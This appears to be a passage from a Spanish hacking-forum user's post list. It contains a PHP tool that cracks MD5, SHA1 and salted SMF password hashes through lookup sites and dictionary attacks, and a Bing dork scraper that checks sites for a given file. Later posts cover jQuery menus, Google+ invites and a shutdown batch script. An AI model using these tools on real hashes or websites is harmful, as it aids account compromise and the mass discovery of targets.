    Tengo una página que rompe MD5 pero no se como agregarla al script:
    El script tiene como motor el array multidimensional $data el cual contiene 4 arrays importantes:

        pages: Contiene la página a donde se enviará la petición POST o GET por cURL.
        parameters: Los parámetros del formulario o de la URL.
        sustitution: Las expresiones regulares para sacar exclusivamente el resultado (en caso de ser positivo).
        security: Para eliminar etiquetas repetidas.

    Tomaremos de ejemplo la página No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, al nosotros ingresar un hash para desencriptar nos regresará:
    Citar<b>Md5 Hash:</b> dc02aab0ea69aab5be23c7d966bd04a1<br/><br/><img src="line.gif"/><br/><br/><b><font size="2">Decrypted Text: </font></b><font size="2">[email protected]</font>

    Por lo tanto, nuestro array multidimensional debe constar de:
  • pages: La página a donde hace referencia; si es por GET en vez por URL se pone la url No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o No tienes permitido ver los links. Registrarse o Entrar a mi cuenta según sea el caso y los parámetros se ponen como null.
  • parameters: Parámetros del formulario; si es por GET la petición se pone null.
  • sustitution: La expresión regular
  • security: Generalmente null si no se repiten tags

    Código con ejemplo POST y GET:
    Código: php
    <?php
    $data = array(
        'pages' => array(
            0 => 'http://md5decryption.com/'
            1 => 'http://md5.rednoize.com/?q='.$hash
        ),
        'parameters' => array(
            0 => 'hash='.$hash.'&submit=Decrypt It!'
            1 => null
        ),
        'sustitution' => array(
            0 => "/Decrypted Text: <\/b>(.*)<\/font>/"
            1 => "/<div id=\"result\" >(.*)<\/div>/"
        ),
        'security' => array(
            0 => null
            1 => null
        )
    );
    ?>

    Recordemos que el 0 y 1 debe ser el número siguiente, en este caso, si tratamos de añadir una página más sería el 2 =>.
    Código: php
    <?php
    /*
    * Name: Hashorator
    * Author: Xt3mP
    * Contact: xt3mp[at]null[dot]net
    * Bugs: xt3mp[at]null[dot]net
    * Personal website: http://xt3mp.mx
    * Website: http://backroot.org
    * Version: 1.0 BETA
    */
    set_time_limit(0); //30 seconds default
    $max = 100000; //Max words per dictionary
    ?>
    <title>Hashorator v1.0 [Xt3mP]</title>
    <style type="text/css">body{font-family:Courier;background-color:#000;color:#FFF;font-size:13px}div#container{width:690px;height:auto;border:1px dashed #FFF;margin:0 auto}div#container a{text-decoration:none;color:#FF5B5B}div#container a:hover{color:#FFF}div#menu{width:100%;height:auto;border-top:1px dashed #FFF;border-bottom:1px dashed #FFF;text-align:center}div.border{border-top:1px dashed #FFF;text-align:center;color:red}div#container input{background-color:#FFF;color:#000;border:1px solid #FFF;font-family:Courier;cursor:pointer;text-align:center;padding:5px}pre.none{width:auto;margin:0;padding:0}div#result{width:100%;height:auto;font-size:12px}div#container textarea{border:1px solid #FFF}</style>
    <script src="http://code.jquery.com/jquery-1.4.3.min.js"></script>
    <script>$(function(){$("#salt").css("background-color","#999").attr("disabled",true);$("#dic").css("background-color","#999").attr("disabled",true);$("#usedic").click(function(){if($("#dic").attr("disabled")==true){$("#dic").attr("disabled",false).css("background-color","#FFF").css("color","#000");$("#dictionary").val("yes")}else{$("#dic").attr("disabled",true).val("").css("background-color","#999");$("#dictionary").val("no")}});$("#type").change(function(){var a=$("select#type option:selected").val();if(a=="mysql"){$("#salt").css("background-color","#999").val("").attr("disabled",true);$("#dic").css("background-color","#999").val("").attr("disabled",true);$("#usedic").attr("disabled",true).attr("checked",false);$("#dictionary").val("no")}else if(a=="smf"){$("#salt").css("background-color","#FFF").css("color","#000").attr("disabled",false);$("#dic").css("background-color","#FFF").val("").attr("disabled",false);$("#usedic").attr("disabled",true).attr("checked",true);$("#dictionary").val("yes")}else{$("#salt").css("background-color","#999").val("").attr("disabled",true);$("#dic").css("background-color","#999").attr("disabled",true);$("#usedic").attr("disabled",false).attr("checked",false);$("#dictionary").val("no")}})})</script>
    <div id="container">
    <pre>
             ___ ___                __                         __ Hashorator v1.0
            |   Y   |.---.-..-----.|  |--..-----..----..---.-.|  |_ .-----..----.
            |.  1   ||  _  ||__ --||     ||  _  ||   _||  _  ||   _||  _  ||   _|
            |.  _   ||___._||_____||__|__||_____||__|  |___._||____||_____||__|
            |:  |   |
            |::.|:. |                                         Powered By Xt3mP
            `--- ---'                                       xt3mp[at]null[dot]net
    </pre>
    <div id="menu">
            <form action="" method="POST">
            Select cipher type:
            <select name="type" id="type">
                    <option value="md5">MD5</option>
                    <option value="sha1">SHA1</option>
                    <!-- <option value="mysql">MySQL</option> -->
            <option value="smf">SMF</option>
            </select><br />
            Put HASH: <br />
            <input type="text" name="hash" value="" maxlength="40" size="41"/><br />
            Put SALT <a href="#">(?)</a>: <br />
            <input type="text" name="salt" id="salt" value="" maxlength="40" size="41"/><br />
            Dictionary: <input type="checkbox" id="usedic" name="usedic" value="yes"><br />
            <input type="hidden" value="no" id="dictionary" name="dictionary" />
            <textarea name="dic" id="dic" rows="5" cols="50"></textarea><br />
            Stop processing if there's a positive match: <input type="checkbox" name="stop" value="yes"><br />
            <input type="submit" name="submit" value="Decipher"/>
            </form>
    </div>
    <div id="result">
    <?php
    $start = microtime(true);
    function checkHash($hash, $long)
    {
       return preg_match('/^[a-f0-9]{'.$long.'}$/', $hash);
    }
    if(isset($_POST['submit'])):
            $hash = htmlentities($_POST['hash']);
            $salt = htmlentities($_POST['salt']);
            $type = $_POST['type'];
            $usedic = $_POST['dictionary'];
            $dic = $_POST['dic'];
            $stop = $_POST['stop'];
            $counter = 0;
            if($type == 'md5'):
                    if(!checkHash($hash, 32)):
                            echo '<div class="border">The entered hash doesn\'t look like MD5</div>';
                            exit();
                    else:
                            $data = array(
                                            'pages' => array(
                                                                    0  => 'http://md5decryption.com/',
                                                                    1  => 'http://md5-decrypter.com/',
                                                                    2  => 'http://md5.rednoize.com/?q='.$hash,
                                                                    3  => 'http://md5.hashcracking.com/search.php?md5='.$hash,
                                                                    4  => 'http://www.md5rainbow.com/'.$hash,
                                                                    5  => 'http://md5crack.com/crackmd5.php',
                                                                    6  => 'http://md5pass.info/',
                                                                    7  => 'http://md5.unidadlocal.com/'.$hash,
                                                                    8  => 'http://www.hashhack.com/index.php',
                                                                    9  => 'http://www.md5this.com/crackit.php',
                                                                    10 => 'http://md5hack.com/md5_cracker.php',
                                                                    11 => 'http://www.md5.net/cracker.php',
                                                                    12 => 'http://crackstation.net/index.php'
                                            ),
                                            'parameters' => array(
                                                                    0  => 'hash='.$hash.'&submit=Decrypt It!',
                                                                    1  => 'data[Row][cripted]='.$hash,
                                                                    2  => null,
                                                                    3  => null,
                                                                    4  => null,
                                                                    5  => 'term='.$hash.'&submit=Crack that hash baby!',
                                                                    6  => 'hash='.$hash.'&get_pass=Get Pass',
                                                                    7  => null,
                                                                    8  => 'hash='.$hash.'&antispam=7',
                                                                    9  => 'h='.$hash.'&s=Crack it!',
                                                                    10 => 'dico=dicos/1.txt&hash='.$hash.'&ok= Crack ',
                                                                    11 => 'hash='.$hash,
                                                                    12 => 'hashes='.$hash.'&crack=Crack Hashes'
                                            ),
                                            'sustitution' => array(
                                                                    0  => "/Decrypted Text: <\/b>(.*)<\/font>/",
                                                                    1  => "/<b class=\"res\">(.*)<\/b>/",
                                                                    2  => "/<div id=\"result\" >(.*)<\/div>/",
                                                                    3  => "/Cleartext of ".$hash." is (.*)/",
                                                                    4  => "/(.*)<br\/><p style=\"font-size: 9pt; line-height: 48px;\">/",
                                                                    5  => "/Found: md5\(\"(.*)\"\) = ".$hash."/",
                                                                    6  => "/Password - <b>(.*)<\/b>/",
                                                                    7  => "/Se encontro <strong>\"(.*)\"<\/strong>  MD5:/",
                                                                    8  => "/<center>".$hash." : : <b><font color=green>(.*)<\/font><\/b>/",
                                                                    9  => "/The value of <b>".$hash."<\/b> resolves to -> <b>(.*)<\/b>/",
                                                                    10 => "/<h3>".$hash." <\/br><font color=white>Cracking Successful Password =<\/font><font color=red size=20> (.*)/",
                                                                    11 => "/<input type=\"text\" id=\"hash\" size=\"32\" value=\"(.*)\"\/> /",
                                                                    12 => "/<td>".$hash."<br \/><\/td><td>md5<\/td><td>(.*)<\/td>/"
                                            ),
                                            'security' => array(
                                                                    0  => null,
                                                                    1  => "<b class=\"res\">".$hash."</b>",
                                                                    2  => null,
                                                                    3  => null,
                                                                    4  => null,
                                                                    5  => null,
                                                                    6  => null,
                                                                    7  => null,
                                                                    8  => null,
                                                                    9  => null,
                                                                    10 => null,
                                                                    11 => null,
                                                                    12 => null
                                            )
                            );
                    endif;
            elseif($type == 'sha1'):
                    if(!checkHash($hash, 40)):
                            echo '<div class="border">The entered hash doesn\'t look like SHA1</div>';
                            exit(1);
                    else:
                            $data = array(
                                            'pages' => array(
                                                                    0  => 'http://sha1.unidadlocal.com/'.$hash
                                            ),
                                            'parameters' => array(
                                                                    0  => null,
                                                                    1  => 'datafromuser='.$hash
                                            ),
                                            'sustitution' => array(
                                                                    0  => "/Se encontro <strong>\"(.*)\"<\/strong>  SHA1:/"
                                            ),
                                            'security' => array(
                                                                    0  => null
                                            )
                            );
                    endif;
            /*
            passcracking.com isn't works anymore, so... is deprecated.
            elseif($type == 'mysql'):
                    if(!checkHash($hash, 16)):
                            echo '<div class="border">The entered hash doesn\'t look like MySQL</div>';
                            exit(1);
                    else:
                            $data = array(
                                                    'pages' => array(
                                                                            0  => 'http://passcracking.com/'
                                                    ),
                                                    'parameters' => array(
                                                                            0  => 'datafromuser='.$hash
                                                    ),
                                                    'sustitution' => array(
                                                                            0  => "/<td bgcolor=#FF0000>(.*)<\/td><td>/",
                                                    ),
                                                    'security' => array(
                                                                            0  => null
                                                    )
                                    );
                    endif;*/
            elseif($type == 'smf'):
                    if(!checkHash($hash, 40)):
                            echo '<div class="border">The entered hash doesn\'t look like SMF</div>';
                            exit(1);
                    endif;
            endif;
            $title = 'Cipher type: <font color="#00FF00">'.strtoupper($type).'</font><br />- - - - - - - - - - -<br />';
            if($usedic != 'yes'):
                    echo $title;
                    for($i = 0; $i<count($data['pages']); $i++):
                            $ch = curl_init();
                            curl_setopt($ch, CURLOPT_URL, $data['pages'][$i]);
                            if(!empty($data['parameters'][$i]))
                            {
                                    curl_setopt($ch, CURLOPT_POST, 1);
                                    curl_setopt($ch, CURLOPT_POSTFIELDS, $data['parameters'][$i]);
                            }
                            curl_setopt($ch, CURLOPT_AUTOREFERER, false);
                            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
                            curl_setopt($ch, CURLOPT_REFERER, $data['pages'][$i]);
                            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                            $return = curl_exec ($ch);
                            curl_close ($ch);
                            if(!empty($data['sustitution'][$i]))
                            {
                                    $test = preg_match($data['sustitution'][$i], str_replace($data['security'][$i], "", $return), $result);
                                    $result = $result[1];
                            }
                            $result = ($result == 'Entry not found.' or empty($result)) ? '' : $result;
                            if(!empty($result)):
                                    $counter++;
                                    $hash_dec = $result;
                                    echo 'Hash::['.$hash.']<br />
                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Page::<font color="#00FF00">'.$data['pages'][$i].'</font><br />
                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Status::<font color="#00FF00">Found</font><br />
                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Result::<font color="#00FF00">'.$hash_dec.'</font><br />';
                                    if($stop == 'yes'):
                                            break;
                                    endif;
                            elseif($stop != 'yes'):
                                    echo 'Hash::['.$hash.']<br />
                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Page::<font color="red">'.$data['pages'][$i].'</font><br />
                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Status::<font color="red">Not Found</font><br />
                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Result::<font color="red">none</font><br />';
                            endif;
                    endfor;
                    $min = ($stop == 'yes') ? '[Min] '.$counter.' of '.count($data['pages']): $counter.'/'.count($data['pages']);
                    if($counter >= 1):
                            echo '- - - - - - - - - - -<br />Positive matches: <font color="#00FF00">'.$min.'</font>';
                            echo '<br />Deciphered hash: <font color="#00FF00">'.$hash_dec.'</font>';
                    else:
                            echo '- - - - - - - - - - -<br />Positive matches: <font color="red">[None] '.$counter.'/'.count($data['pages']).'</font>';
                            echo '<br />Deciphered hash: <font color="red">Not Found</font>';
                    endif;
            else:
                    $palabra = explode("\r\n", $dic);
                    if((count($palabra) > $max) or (count($palabra) == 1)):
                            echo '<div class="border">Only allows <font color="red">1-'.$max.'</font> word per dictionary.</div>';
                            exit(1);
                    else:
                            echo $title;
                            for($i = 0; $i<count($palabra); $i++):
                                    if($type == 'md5' or $type == 'sha1'):
                                            $new_hash = ($type == 'md5') ? md5($palabra[$i]) : sha1($palabra[$i]);
                                    elseif($type == 'smf'):
                                            $new_hash = sha1($salt.$palabra[$i]);
                                            $add = $salt;
                                    endif;
                                    if(!empty($palabra[$i])):
                                            if($new_hash == $hash):
                                                    $counter++;
                                                    $hash_dec = htmlspecialchars($palabra[$i], ENT_QUOTES);
                                                    echo 'Hash::['.$hash.']<br />';
                                                    echo (!empty($salt)) ? '&nbsp;&nbsp;&nbsp;&nbsp;[+]Salt::<font color="#00FF00">'.$salt.'</font><br />' : '';
                                                    echo '&nbsp;&nbsp;&nbsp;&nbsp;[+]Word::<font color="#00FF00">'.$hash_dec.'</font><br />
                                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Status::<font color="#00FF00">Found</font><br />
                                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Result::<font color="#00FF00">'.$add.$hash_dec.'</font><br />';
                                                    if($stop == 'yes'):
                                                            break;
                                                    endif;
                                            elseif($stop != 'yes'):
                                                    echo 'Hash::['.$hash.']<br />';
                                                    echo (!empty($salt)) ? '&nbsp;&nbsp;&nbsp;&nbsp;[+]Salt::<font color="red">'.$salt.'</font><br />' : '';
                                                    echo '&nbsp;&nbsp;&nbsp;&nbsp;[+]Word::<font color="red">'.$palabra[$i].'</font><br />
                                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Status::<font color="red">Not Found</font><br />
                                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Result::<font color="red">none</font><br />';
                                            endif;
                                            $total++;
                                    endif;
                            endfor;
                            if($counter == 0):
                                    echo 'Hash::['.$hash.']<br />';
                                    echo (!empty($salt)) ? '&nbsp;&nbsp;&nbsp;&nbsp;[+]Salt::<font color="red">'.$salt.'</font><br />' : '';
                                    echo '&nbsp;&nbsp;&nbsp;&nbsp;[+]Word::<font color="red">'.$palabra[$i].'</font><br />
                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Status::<font color="red">Not Found</font><br />
                                            &nbsp;&nbsp;&nbsp;&nbsp;[+]Result::<font color="red">none</font><br />';
                            endif;
                            $min = ($stop == 'yes') ? '[Mínimo] '.$counter.' de '.count($palabra): $counter.'/'.count($palabra);
                            if($counter >= 1):
                                    echo '- - - - - - - - - - -<br />Positive matches: <font color="#00FF00">'.$min.'</font>';
                                    echo '<br />Deciphered hash: <font color="#00FF00">'.$add.$hash_dec.'</font>';
                            else:
                                    echo '- - - - - - - - - - -<br />Positive matches: <font color="red">'.$counter.'/'.count($palabra).'</font>';
                                    echo '<br />Deciphered hash: <font color="red">Not Found</font>';
                            endif;
                    endif;
            endif;
            $end = microtime(true); //Obtenemos tiempo final
            echo '<br />Execution time: <font color="#00FF00">'.str_replace('-', '', round($start - $end, 2)).' sec</font>';
    endif;
    ?>
    </div>
    </div>



    Nota: Es probable que tenga fallos o que alguno de los sitios no funcionen, por lo que no me hago responsable de los fallos en cuestión. Además, el script lo que hace es mandar petición a una lista de páginas que hacen todo el trabajo; éste script, sólo sirve de intermediario.
    Nota: El script es viejo por lo que se puede optimizar bastante.


    Saludos.
#16
Bugs y Exploits / Dorks links Grabber (Bing Version)
Abril 13, 2012, 06:04:13 PM
Este es un script que ya tenía guardado, el cual tiene como fin obtener páginas del motor de Bing para comprobarlas y checar el archivo en cuestión (ingresado) existe. La idea la tenía ya hace un tiempo pero en realidad la idea príncipal le corresponde a ar3sw0rmed ya que el me lo comentó y me gustó la idea.




La utilidad consta de lo siguiente:

  • Insert DORK: Dork de bing.
  • Search Engine: Por el momento Bing; Google se maneja diferente y está un poco más complicado.
  • Output file: Nombre de archivo donde se guardara el resultado.
  • Check file: Nombre de archivo a comprobar.
  • Raw links: Todos los enláces encontrados.
  • Correct links: Todos los enláces correctos.
  • Bad links: Todos los enláces incorrectos.
  • Output file: Ruta del archivo creado.
  • Estadísticas.
El script sólo llega hasta la página 20 apróximadamente y puede tardar dependiendo del servidor, en mi caso, en localhost tardó 7 minutos.


Código: php

<?php
/*
* Author: Xt3mP
* Name: Dorks link grabber
* Version: 1.0 Bing
* Contact: xt3mp[at]null[dot]net
* Website: http://xt3mp.mx | http://backroot.org
*/
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Dorks links Grabber (Bing version) | Xt3mP</title>
<style type="text/css">body{background-color:#2b2b2b;color:#777;font-family:Courier,"Courier New",monospace,sans-serif;font-size:12px}div#container{height:auto;margin:0 auto;width:600px}fieldset{background-color:#222;border:1px dashed #777;float:left;margin:5px;padding:5px;width:100%}legend{background-color:#555;border:1px dashed #777;color:#FFF;font-weight:700;margin:5px;padding:5px}label{float:left;margin-right:5px;padding-top:5px;text-align:right;width:100px}input,select{background-color:#E7E7E7;border:1px dashed #777;float:left;font-family:Courier,"Courier New",monospace,sans-serif;font-size:12px;margin-bottom:5px;padding:3px;width:490px}input[type=submit]{width:600px}h1{margin:0;padding:0}a{color:#CCC;font-weight:700}a:hover{color:#FFF;text-decoration:underline}</style>
</head>
<body>
<?php
set_time_limit(0);
class dorkGrabber
{
private $bing;
private $checkfile;

public function __construct()
{
$this->bing = 'http://www.bing.com/search?q=';
}

private function getSource($target)
{
$target = @file_get_contents($target);
return $target;
}

private function remakeUrl($url)
{
$url = explode("/", $url);
for($z = 0; $z < count($url) - 1; $z++)
{
$new .= $url[$z].'/';
}
return $new;
}

private function checkUrl($url)
{
if(@fopen($this->remakeUrl($url).$this->checkfile, 'r'))
return true;
else
return false;
}

private function parseLinks($target)
{
$data['rawlinks'] = array();
$data['correctlinks'] = array();
$data['badlinks'] = array();
for($i = 0; $i < 21; $i++)
{
$first = ($i == 0) ? 0 : ($i * 10) + 1;
$source = $this->getSource($target.'&first='.$first);
$pattern = "/<h3><a href=\"(.*?)\" onmousedown=/";
$preg = preg_match_all($pattern, $source, $output, PREG_PATTERN_ORDER);

if(count($output[1]) != 0)
{
for($x = 0; $x<count($output[1]); $x++)
{
if(!in_array($this->remakeUrl($output[1][$x]), $data['correctlinks']))
{
if($this->checkUrl($output[1][$x]))
{
$data['rawlinks'][] = $output[1][$x];
$data['correctlinks'][] = $this->remakeUrl($output[1][$x]);
}else{
$data['rawlinks'][] = $output[1][$x];
$data['badlinks'][] = $output[1][$x];
}
}
}
}else{
break;
}
}
return $data;
}

private function getLinks($target)
{
$newTarget = $this->getSource($target);
$check = "/<h1>No se han encontrado resultados para <strong>/";
if(@preg_match($check, $newTarget))
return false;
else
return $this->parseLinks($target);
}

private function makeData($type, $links, $output = null)
{
switch($type)
{
case 'raw':
$title = '<h1>Raw links</h1>';
foreach($links['rawlinks'] as $link)
{
$linkdir .= $link."\r\n";
}
$data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">'.$linkdir.'</textarea>';
break;
case 'correct':
$title = '<h1>Correct links</h1>';
foreach($links['correctlinks'] as $link)
{
$linkdir .= $link."$this->checkfile\r\n";
}
$data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">'.$linkdir.'</textarea>';
break;
case 'bad':
$title = '<h1>Bad links</h1>';
if(empty($links['badlinks']))
{
$data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">None</textarea>';
}else{
foreach($links['badlinks'] as $link)
{
$linkdir .= $link."\r\n";
}
$data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">'.$linkdir.'</textarea>';
}
break;
case 'txt':
$title = '<h1>Output file</h1>';
foreach($links['correctlinks'] as $link)
{
$linkdir .= $link.$this->checkfile;
}
$tot = count($links['correctlinks']) + count($links['badlinks']);
$statistics = '
[Total links: <b>'.$tot.'</b>]
[Correct links: <b>'.count($links['correctlinks']).'</b>]
[Bad links: <b>'.count($links['badlinks']).'</b>]';
$file = fopen($output, 'w+');
if($file)
{
fwrite($file, $linkdir);
fclose($file);
$filedir = $output.' > http:/'.dirname($_SERVER["PHP_SELF"]).'/'.$output;
$data = $title.'<textarea rows="5" style="width:600px;font-size:11px;margin-bottom:5px;">'.$filedir.'</textarea>';
$data .= $statistics.' <a href="./'.$output.'" target="_blank">[View output file]</a>';
}else{
$data = $title.$statistics.' [Can\'t make output file]';
}
break;
}
return $data;
}

public function makeDirective($dork, $output, $checkfile = null)
{
$dork = urlencode($dork);
$target = $this->bing.$dork;
$this->checkfile = $checkfile;
$grabber = $this->getLinks($target);
$result = '<fieldset style="text-align: justify"><legend>Result</legend>';
if($grabber === false)
{
$result .= 'The DORK (<b>'.urldecode($dork).'</b>) doesn\'t return any results.';
}else{
$result .= $this->makeData('raw', $grabber);
$result .= $this->makeData('correct', $grabber);
$result .= $this->makeData('bad', $grabber);
$result .= $this->makeData('txt', $grabber, $output);
}
$result .= '</fieldset>';
return $result;
}
}
?>
<div id="container">
<fieldset>
<legend>Dorks links Grabber (Bing version) | <a href="http://xt3mp.mx" target="_blank">Xt3mP</a></legend>
<form action="" method="POST">
<label>Insert DORK:</label><input type="text" name="dork"/><br />
<label>Search eng.:</label><input type="text" name="engine" value="Bing" disabled="disabled"><br />
<label>Output file:</label><input type="text" name="output" /><br />
<label>Check file:</label><input type="text" name="check"/><br />
<input type="submit" name="get" value="Get Links!" />
</form>
</fieldset>
<?php
if(isset($_POST['get']))
{
if(empty($_POST['dork']) or empty($_POST['output']))
{
echo '<script>alert("Some fields are empty!.");</script>';
}else{
$mtime = microtime();
$mtime = explode(' ',$mtime);
$mtime = $mtime[1] + $mtime[0];
$starttime = $mtime;
$dorkGrabber = new dorkGrabber();
echo $dorkGrabber->makeDirective($_POST['dork'], $_POST['output'], $_POST['check']);
$mtime = microtime();
$mtime = explode(' ',$mtime);
$mtime = $mtime[1] + $mtime[0];
$endtime = $mtime;
$totaltime = ($endtime - $starttime);
echo 'This page took '.round($totaltime).' seconds to load.';
}
}
?>
</div>
</body>
</html>



Nota: Es probable que pueda generar falsos positivos porque la manera de comprobar el archivo no es tan eficaz, por lo que algunos servidores al entrar a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lo regresa como 200 en éste caso ya que es encontrada y no quize comprobar la página por cURL.


Cualquier cosa comenten, porque como he dicho, puede que tenga errores.
Saludos.
#17
En vísperas de que todos están colaborando con un wallpaper para underc0de, me tocó hacer el mío también. Claro está que mi nivel de diseño gráfico no es tan bueno como el de otros pero se hace el intento.


El wallpaper en realidad no tiene mucho tiempo dedicado, es decir, no me enfoqué en darle sus últimos detalles ni puesto que sólo lo hice por Hobbie, seguramente en un futuro lo mejoro. Utilice la fuenta del logo oficial y éste fué mi resultado:




Link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Dimensiones: 1400 x 1024


Si desean otra dimensión, me comentan para adaptarselos.
#18
Los menús tipo acordeón últimamente son un factor muy importante que no falta en la mayoría de los sitios web ya que permiten mostrar bastante información abarcando un pequeño espacio.

Existen varios métodos para hacer esto; es decir, puedes hacer un menú como estos utilizando simplemente el ingenio.

Mostraré cuatro(4)  estilos de como hacer un menú de este tipo empezando por un código largo hasta uno resumido. Utilizarémos listas para hacer de esto algo más sencillo (los ids y clases irán variando pero siempre usarémos la misma estructura):

Código: html5

<ul id="m1">
    <a href="#">Item 1</a>
<li><a href="#">Item 1</a></li>
<li><a href="#">Item 2</a></li>
</ul>
<ul id="m2">
<a href="#">Item 2</a>
<li><a href="#">Item 1</a></li>
<li><a href="#">Item 2</a></li>
</ul>


Primer método:

Código: javascript

$(function() {
$('#m1').click(function() {
$(this).children('li').slideDown('slow');
$('#m2').children('li').slideUp('slow');
});

$('#m2').click(function() {
$(this).children('li').slideDown('slow');
$('#m1').children('li').slideUp('slow');
});
});


Hacemos uso del evento click() dependiendo del ID que den click, como se puede observar en el código se muestran los li del ID y se oculta el otro.

Segundo método:

Código: javascript

$(function() {
$('#m1').click(function() {
$(this).children('li').toggle('slow');
});

$('#m2').click(function() {
$(this).children('li').toggle('slow');
});
});


Usamos el mismo evento a diferencia del efecto slideDown/slideUp el cual lo sustituímos por toggle(). Este efecto intervala un efecto de manera que al 'clicarlo' una vez hará 'X' acción y al 'clicarlo' de nuevo hará la misma 'X' acción; es muy útil si se le da un uso correcto.

Los dos métodos anteriores son funcionales, pero ¿qué sucede si tenemos muchos menús?, nuestro código sería demasiado extenso; para eso utilizaremos príncipalmente el for in (cambiarémos el atributo id por class [todos deberan tener la misma clase]):

Tercer método:

Código: javascript

$(function() {
for(i in $('.m1')){
    $('.m1').eq( i ).click(function(){
      $(this).children('li').toggle('slow');
    });
};
});


De esta manera así tengamos 100 menús todos se manipularan bajo el código anterior, y aquí entra otra pregunta: ¿pero qué pasa si yo solo quiero que se muestre uno y se oculten los demás?, para esto harémos todavía algo más reducido y demasiado ingenioso:
Cuarto método:

Código: javascript

$(function() {
$('.m1').click(function(){
    $('.m1').children('li').slideUp('slow');
$(this).children('li').slideDown('slow');
})
});


¿Qué hacemos, ¡fácil!, al momento de dar click en cualquier menú ocultará todos los menús que tengan esa clase (en este caso m1) y posteriormente mostrará solo el menú en el cual se hizo click; de esta manera como la anterior podemos tener 100 menús y con ese código se manipularían todos.

Solo sería cuestión de que le agreguen algún CSS con/sin imagenes para que el resultado sea mucho mejor.
#19
Como se pueden a ver dado cuenta, Google+ esta comenzando a tomar fama en la internet. Esto trae consigo herramientas que nos facilitaran la vida refiriendonos a esta nueva gran red social.

Una de ellas es Google Plus Nick (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta). Esta herramienta nos permite 'acortar' nuestra URL de perfil quedando como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en donde slug es el nombre de la url personalizado (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Solo debemos ingresar el slug, el ID de nuestro perfil (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) y presionar ADD para que nos genere el nuevo enláce:


Esto en realidad no tiene una función exácta más que hacer de nuestro link de perfil algo más chico y más accesible a la hora de compartirlo con nuestros amigos.
#20
Google+ (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) es la nueva red social de google que pretende competir contra el gran mounstruo facebook. Se regalaron invitaciones a "x" usuarios pero su impacto fue tan grande que se restringieron las peticiones. ¡Pero no te preocupes!, si ya tienes cuenta de Google+ te será fácil invitar a tus amigos siguiendo esta serie de pasos:

1.- Primeramente nos dirigímos a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para logearnos con la cuenta correspondiente. Una vez logeados nos dirigiremos a la sección de círculos:


2.- Una vez estando ahí notaremos que tenemos varios círculos. También estará un círculo en blanco que te permitirá crear un nuevo círculo; nosotrs daremos click ahí:


3.- Nos solicitará un nombre para crear un nuevo círculo, puede ser cualquiera (en este caso yo utilize invitations). Una vez escrito presionamos crear nuevo círculo:


4.- Después de haber creado el círculo, daremos click sobre el para añadir a la(s) persona(s) que deseamos invitar. Nos pedirá correo electrónico y un nickname que posteriormente el invitado podra cambiar:


5.- Luego de hacer esto nos dirigiremos a nuestro perfil para agregar un comentario. En este nos pedirá que círculo tendrá acceso para leerlo, aquí es donde seleccionáremos  el círculo que creamos:


6.- Seleccionamos la casilla para notificar al usuario que no tenga cuenta en google+ quedando así:


7.- Finalmente el invitado deberá esperar un lapso de no más de un día (según mis cálculos) para que le llegue la invitación. Esta invitación tendra un aspecto según el texto que ingresemos en el comentario:


8.- El invitado deberá dar click en Más información acerca de Google+ para proceder a rellenar el formulario de registro; aprovechen mientras las invitaciones pueden ser enviadas de esta manera.

Saludos.
#21
Batch - Bash / [BATCH] Shutdown Countdown System
Mayo 23, 2011, 11:45:11 PM
Este código en realidad es algo sucio y lo utilizo en lo personal ya que duermo con sonidos relajantes (no-homo), y como tenía el ligero problema de estarme levantando a apagar el ordenador, o bien, estar poniendo manualmente por cmd shutdown -s -t XX, se me ocurrió hacer un código BATCH demasiado sencillo:


1.- Te pide el número de minutos para que tarde el apagado (posteriormente ocuparás escribir Y para confirmar o N para cancelar).
2.- Si existe o no un apagado en progreso, lo cancelará.
3.- Te saca del programa.

Código: batch

@echo off
title  Shutdown Countdown System by Xt3mP
color 0A
:start
mode con cols=51 lines=20
cls
set up=ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
set empty=³                                                 ³
set title=³            SHUTDOWN COUNTDOWN SYSTEM            ³
set options=³     OPTIONS                                     ³
set option1=³     1.- CONFIG SHUTDOWN COUNTDOWN SYSTEM        ³
set option2=³     2.- CANCEL SHUTDOWN COUNTDOWN SYSTEM        ³
set option3=³     3.- EXIT                                    ³
set processing=³                COMPLETE THE FIELD               ³
set author=³              Xt3mP[at]h4x0rz[dot]us             ³
set line=³_________________________________________________³
set down=ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo %up%%empty%%title%%line%%empty%%options%%empty%%option1%%option2%%option3%%empty%%line%%empty%%author%%empty%%down%
set /p option=Choose an option:
if not defined option (goto:start)
for %%_ in (1 2 3) do (
if ["%option%"]==["%%_"]  (goto:%option%)
)
msg * You inserted a wrong option
goto:start

:1
mode con cols=51 lines=15
cls
